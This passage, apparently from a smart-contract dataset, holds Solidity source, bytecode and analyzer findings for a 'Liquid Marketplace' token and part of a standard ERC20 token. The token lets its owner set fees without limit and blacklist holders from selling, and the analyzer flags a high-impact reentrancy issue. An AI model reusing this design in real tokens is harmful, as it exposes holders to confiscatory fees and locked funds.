908152602001600020546040518082815260200191505060405180910390a360019050929150505600a165627a7a72305820de7e922cc6d9b76477c1288b8d0b8ffae67bc96f9f93bc8f55aab8f42e21dcda0029 | {"success": true, "error": null, "results": {}} | 1,920 |
0x136683ecb5ad825fdbb0c028e59725855a264a67 | /**
*Submitted for verification at Etherscan.io on 2022-04-05
*/
/*
Own a piece of the rarest collectibles in the world.
- Fractionalization
- Co-ownership
- Top tier assets
Join now & start building your collection!
https://www.liquidmarketplace.io/
https://twitter.com/LiquidMarketpl
https://www.instagram.com/liquidmarketplace/
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function renounceOwnership(address ownershipRenounced) public virtual onlyOwner {
require(ownershipRenounced != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, ownershipRenounced);
_owner = ownershipRenounced;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract LiquidMarketplace is Context, IERC20, Ownable {///////////////////////////////////////////////////////////
using SafeMath for uint256;
string private constant _name = "Liquid Marketplace";//////////////////////////
string private constant _symbol = "LQM";//////////////////////////////////////////////////////////////////////////
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnBuy = 5;//////////////////////////////////////////////////////////////////////
//Sell Fee
uint256 private _redisFeeOnSell = 0;/////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnSell = 5;/////////////////////////////////////////////////////////////////////
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x7452bEa6947154dD033b8d748D5769BA155b5eB8);/////////////////////////////////////////////////
address payable private _marketingAddress = payable(0x7452bEa6947154dD033b8d748D5769BA155b5eB8);///////////////////////////////////////////////////
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _swapTokensAtAmount = 40000 * 10**9; //.4%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);/////////////////////////////////////////////////
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
// require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
// require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101695760003560e01c80636fc3eaec116100d157806398a5c3151161008a578063bfd7928411610064578063bfd7928414610456578063c3c8cd8014610486578063c492f0461461049b578063dd62ed3e146104bb57600080fd5b806398a5c315146103f6578063a2a957bb14610416578063a9059cbb1461043657600080fd5b80636fc3eaec1461034257806370a0823114610357578063715018a6146103775780638da5cb5b1461038c5780638f70ccf7146103aa57806395d89b41146103ca57600080fd5b80632fd689e3116101235780632fd689e314610290578063313ce567146102a657806338bf3cfa146102c257806349bd5a5e146102e25780636b999053146103025780636d8aa8f81461032257600080fd5b8062b8cf2a1461017557806306fdde0314610197578063095ea7b3146101e45780631694505e1461021457806318160ddd1461024c57806323b872dd1461027057600080fd5b3661017057005b600080fd5b34801561018157600080fd5b506101956101903660046118e1565b610501565b005b3480156101a357600080fd5b506040805180820190915260128152714c6971756964204d61726b6574706c61636560701b60208201525b6040516101db9190611a0b565b60405180910390f35b3480156101f057600080fd5b506102046101ff366004611837565b6105ae565b60405190151581526020016101db565b34801561022057600080fd5b50601454610234906001600160a01b031681565b6040516001600160a01b0390911681526020016101db565b34801561025857600080fd5b5066038d7ea4c680005b6040519081526020016101db565b34801561027c57600080fd5b5061020461028b3660046117f7565b6105c5565b34801561029c57600080fd5b5061026260165481565b3480156102b257600080fd5b50604051600981526020016101db565b3480156102ce57600080fd5b506101956102dd366004611787565b61062e565b3480156102ee57600080fd5b50601554610234906001600160a01b031681565b34801561030e57600080fd5b5061019561031d366004611787565b610718565b34801561032e57600080fd5b5061019561033d3660046119a8565b610763565b34801561034e57600080fd5b506101956107ab565b34801561036357600080fd5b50610262610372366004611787565b6107f6565b34801561038357600080fd5b50610195610818565b34801561039857600080fd5b506000546001600160a01b0316610234565b3480156103b657600080fd5b506101956103c53660046119a8565b61088c565b3480156103d657600080fd5b506040805180820190915260038152624c514d60e81b60208201526101ce565b34801561040257600080fd5b506101956104113660046119c2565b6108d4565b34801561042257600080fd5b506101956104313660046119da565b610903565b34801561044257600080fd5b50610204610451366004611837565b610941565b34801561046257600080fd5b50610204610471366004611787565b60106020526000908152604090205460ff1681565b34801561049257600080fd5b5061019561094e565b3480156104a757600080fd5b506101956104b6366004611862565b6109a2565b3480156104c757600080fd5b506102626104d63660046117bf565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146105345760405162461bcd60e51b815260040161052b90611a5e565b60405180910390fd5b60005b81518110156105aa5760016010600084848151811061056657634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105a281611b71565b915050610537565b5050565b60006105bb338484610a51565b5060015b92915050565b60006105d2848484610b75565b610624843361061f85604051806060016040528060288152602001611bce602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fcb565b610a51565b5060019392505050565b6000546001600160a01b031633146106585760405162461bcd60e51b815260040161052b90611a5e565b6001600160a01b0381166106bd5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161052b565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146107425760405162461bcd60e51b815260040161052b90611a5e565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078d5760405162461bcd60e51b815260040161052b90611a5e565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e057506013546001600160a01b0316336001600160a01b0316145b6107e957600080fd5b476107f381611005565b50565b6001600160a01b0381166000908152600260205260408120546105bf9061108a565b6000546001600160a01b031633146108425760405162461bcd60e51b815260040161052b90611a5e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b65760405162461bcd60e51b815260040161052b90611a5e565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108fe5760405162461bcd60e51b815260040161052b90611a5e565b601655565b6000546001600160a01b0316331461092d5760405162461bcd60e51b815260040161052b90611a5e565b600893909355600a91909155600955600b55565b60006105bb338484610b75565b6012546001600160a01b0316336001600160a01b0316148061098357506013546001600160a01b0316336001600160a01b0316145b61098c57600080fd5b6000610997306107f6565b90506107f38161110e565b6000546001600160a01b031633146109cc5760405162461bcd60e51b815260040161052b90611a5e565b60005b82811015610a4b5781600560008686858181106109fc57634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610a119190611787565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a4381611b71565b9150506109cf565b50505050565b6001600160a01b038316610ab35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161052b565b6001600160a01b038216610b145760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161052b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bd95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161052b565b6001600160a01b038216610c3b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161052b565b60008111610c9d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161052b565b6000546001600160a01b03848116911614801590610cc957506000546001600160a01b03838116911614155b15610ec457601554600160a01b900460ff16610d62576000546001600160a01b03848116911614610d625760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161052b565b6001600160a01b03831660009081526010602052604090205460ff16158015610da457506001600160a01b03821660009081526010602052604090205460ff16155b610dfc5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161052b565b6000610e07306107f6565b60165490915081108015908190610e285750601554600160a81b900460ff16155b8015610e4257506015546001600160a01b03868116911614155b8015610e575750601554600160b01b900460ff165b8015610e7c57506001600160a01b03851660009081526005602052604090205460ff16155b8015610ea157506001600160a01b03841660009081526005602052604090205460ff16155b15610ec157610eaf8261110e565b478015610ebf57610ebf47611005565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610f0657506001600160a01b03831660009081526005602052604090205460ff165b80610f3857506015546001600160a01b03858116911614801590610f3857506015546001600160a01b03848116911614155b15610f4557506000610fbf565b6015546001600160a01b038581169116148015610f7057506014546001600160a01b03848116911614155b15610f8257600854600c55600954600d555b6015546001600160a01b038481169116148015610fad57506014546001600160a01b03858116911614155b15610fbf57600a54600c55600b54600d555b610a4b848484846112b3565b60008184841115610fef5760405162461bcd60e51b815260040161052b9190611a0b565b506000610ffc8486611b5a565b95945050505050565b6012546001600160a01b03166108fc61101f8360026112e1565b6040518115909202916000818181858888f19350505050158015611047573d6000803e3d6000fd5b506013546001600160a01b03166108fc6110628360026112e1565b6040518115909202916000818181858888f193505050501580156105aa573d6000803e3d6000fd5b60006006548211156110f15760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161052b565b60006110fb611323565b905061110783826112e1565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061116457634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156111b857600080fd5b505afa1580156111cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111f091906117a3565b8160018151811061121157634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526014546112379130911684610a51565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611270908590600090869030904290600401611a93565b600060405180830381600087803b15801561128a57600080fd5b505af115801561129e573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806112c0576112c0611346565b6112cb848484611374565b80610a4b57610a4b600e54600c55600f54600d55565b600061110783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061146b565b6000806000611330611499565b909250905061133f82826112e1565b9250505090565b600c541580156113565750600d54155b1561135d57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611386876114d7565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113b89087611534565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113e79086611576565b6001600160a01b038916600090815260026020526040902055611409816115d5565b611413848361161f565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161145891815260200190565b60405180910390a3505050505050505050565b6000818361148c5760405162461bcd60e51b815260040161052b9190611a0b565b506000610ffc8486611b1b565b600654600090819066038d7ea4c680006114b382826112e1565b8210156114ce5750506006549266038d7ea4c6800092509050565b90939092509050565b60008060008060008060008060006114f48a600c54600d54611643565b9250925092506000611504611323565b905060008060006115178e878787611698565b919e509c509a509598509396509194505050505091939550919395565b600061110783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fcb565b6000806115838385611b03565b9050838110156111075760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161052b565b60006115df611323565b905060006115ed83836116e8565b3060009081526002602052604090205490915061160a9082611576565b30600090815260026020526040902055505050565b60065461162c9083611534565b60065560075461163c9082611576565b6007555050565b600080808061165d606461165789896116e8565b906112e1565b9050600061167060646116578a896116e8565b90506000611688826116828b86611534565b90611534565b9992985090965090945050505050565b60008080806116a788866116e8565b905060006116b588876116e8565b905060006116c388886116e8565b905060006116d5826116828686611534565b939b939a50919850919650505050505050565b6000826116f7575060006105bf565b60006117038385611b3b565b9050826117108583611b1b565b146111075760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161052b565b803561177281611bb8565b919050565b8035801515811461177257600080fd5b600060208284031215611798578081fd5b813561110781611bb8565b6000602082840312156117b4578081fd5b815161110781611bb8565b600080604083850312156117d1578081fd5b82356117dc81611bb8565b915060208301356117ec81611bb8565b809150509250929050565b60008060006060848603121561180b578081fd5b833561181681611bb8565b9250602084013561182681611bb8565b929592945050506040919091013590565b60008060408385031215611849578182fd5b823561185481611bb8565b946020939093013593505050565b600080600060408486031215611876578283fd5b833567ffffffffffffffff8082111561188d578485fd5b818601915086601f8301126118a0578485fd5b8135818111156118ae578586fd5b8760208260051b85010111156118c2578586fd5b6020928301955093506118d89186019050611777565b90509250925092565b600060208083850312156118f3578182fd5b823567ffffffffffffffff8082111561190a578384fd5b818501915085601f83011261191d578384fd5b81358181111561192f5761192f611ba2565b8060051b604051601f19603f8301168101818110858211171561195457611954611ba2565b604052828152858101935084860182860187018a1015611972578788fd5b8795505b8386101561199b5761198781611767565b855260019590950194938601938601611976565b5098975050505050505050565b6000602082840312156119b9578081fd5b61110782611777565b6000602082840312156119d3578081fd5b5035919050565b600080600080608085870312156119ef578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611a3757858101830151858201604001528201611a1b565b81811115611a485783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ae25784516001600160a01b031683529383019391830191600101611abd565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b1657611b16611b8c565b500190565b600082611b3657634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b5557611b55611b8c565b500290565b600082821015611b6c57611b6c611b8c565b500390565b6000600019821415611b8557611b85611b8c565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206b7b42ad11c165e38089eaebd6c689e22309df1425f6fa88154108ce29e1b15a64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 1,921 |
0x13d9f4cc024aa90dc3a22b8115f5f0cbb1e56e78 | pragma solidity ^0.4.21;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
